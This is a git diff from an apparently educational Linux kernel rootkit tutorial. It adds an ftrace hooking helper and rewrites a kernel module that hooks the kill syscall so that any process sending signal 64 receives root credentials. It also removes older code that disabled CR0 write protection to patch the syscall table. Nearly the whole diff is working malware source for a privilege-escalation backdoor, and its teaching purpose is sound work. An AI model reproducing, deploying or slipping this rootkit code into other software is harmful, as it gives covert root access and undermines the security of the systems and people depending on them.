diff --git a/3_RootkitTechniques/3.3_set_root/README.md b/3_RootkitTechniques/3.3_set_root/README.md index 022cc11..8a39ccf 100644 --- a/3_RootkitTechniques/3.3_set_root/README.md +++ b/3_RootkitTechniques/3.3_set_root/README.md @@ -2,6 +2,8 @@ ## 3.3: Custom Signals To Give Root Privileges To A Process +> Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory + Similar to [Section 3.2](../3.2_kill_signalling/), we can abuse hooking `sys_kill` to trigger a function that gives root to any process that sends a `64` signal to a process (as before, signal `64` is normally unused). According to [credentials.rst](https://github.com/torvalds/linux/blob/master/Documentation/security/credentials.rst#altering-credentials), we can only modify the `cred` struct of our own process, and not that of any other process. This means that we can't give an already running process root privileges unless we send the `64` signal from that process! Quite a clever security feature! diff --git a/3_RootkitTechniques/3.3_set_root/ftrace_helper.h b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h new file mode 100644 index 0000000..b2fe2e9 --- /dev/null +++ b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h @@ -0,0 +1,181 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_ENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.3_set_root/rootkit.c b/3_RootkitTechniques/3.3_set_root/rootkit.c index 3f24e90..d1fd6b9 100644 --- a/3_RootkitTechniques/3.3_set_root/rootkit.c +++ b/3_RootkitTechniques/3.3_set_root/rootkit.c @@ -3,16 +3,30 @@ #include #include #include +#include + +#include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Giving root privileges to a process"); MODULE_VERSION("0.01"); -static unsigned long * __sys_call_table; +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familiar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif -typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); -orig_kill_t orig_kill; +/* We now have to check for the PTREGS_SYSCALL_STUBS flag and + * declare the orig_kill and hook_kill functions differently + * depending on the kernel version. This is the largest barrier to + * getting the rootkit to work on earlier kernel versions. The + * more modern way is to use the pt_regs struct. */ +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_kill)(const struct pt_regs *); /* We can only modify our own privileges, and not that of another * process. Just have to wait for signal 64 (normally unused) @@ -34,6 +48,24 @@ return orig_kill(regs); } +#else +/* This is the old way of declaring a syscall hook */ +static asmlinkage long (*orig_kill)(pid_t pid, int sig); + +static asmlinkage int hook_kill(pid_t pid, int sig) +{ + void set_root(void); + + if ( sig == 64 ) + { + printk(KERN_INFO "rootkit: giving root...\n"); + set_root(); + return 0; + } + + return orig_kill(pid, sig); +} +#endif /* Whatever calls this function will have it's creds struct replaced * with root's */ @@ -56,63 +88,29 @@ commit_creds(root); } -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) -{ - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); -} - -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) -{ - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); -} - -static inline void unprotect_memory(void) -{ - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); -} +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_kill", hook_kill, &orig_kill), +}; /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); - - /* Grab the function pointer to the real sys_kill syscall */ - orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); - - unprotect_memory(); - - printk(KERN_INFO "rootkit: hooking kill syscall\n"); - /* Patch the function pointer to sys_kill with our hook instead */ - __sys_call_table[__NR_kill] = (unsigned long)hook_kill; - - protect_memory(); return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring kill syscall\n"); - __sys_call_table[__NR_kill] = (unsigned long)orig_kill; - - protect_memory(); - + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); printk(KERN_INFO "rootkit: Unloaded :-(\n"); }